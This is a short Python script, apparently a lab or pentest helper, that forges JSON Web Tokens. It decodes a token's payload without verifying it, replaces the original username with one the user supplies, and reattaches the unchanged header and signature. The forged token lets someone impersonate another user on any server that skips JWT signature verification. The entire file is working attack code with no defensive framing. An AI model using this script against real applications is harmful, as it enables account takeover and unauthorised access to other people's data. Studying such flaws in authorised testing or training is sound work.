JwtBypassUnverfiedSign.py

import base64
import jwt

token = input("[*]Enter the jwt token: ")
usernameOriginal = input("[*] Enter the original username you have in the request: ")
ForgedUsername = input("[*] Enter the new username that you want to change: ")

payload = jwt.decode(token, options={"verify_signature": False})

header, payload, sign = token.split('.') # Split the header, payload and signature since they are delimited with a point.
decoded_payload = base64.urlsafe_b64decode(payload + '=' * (-len(payload) % 4)) # Strip the padding
modified_payload = decoded_payload.replace(usernameOriginal.encode('utf-8'), ForgedUsername.encode('utf-8'))

print(f"Modified payload: {modified_payload.decode()}\n")

# Generate a new token with the modified payload (re-encode the token)
modified_payload_b64 = base64.urlsafe_b64encode(modified_payload).rstrip(b'=').decode()


modified_token=f"{header}.{modified_payload_b64}.{sign}" # Generate a new token with the modified payload
print(f"New modified token: {modified_token}")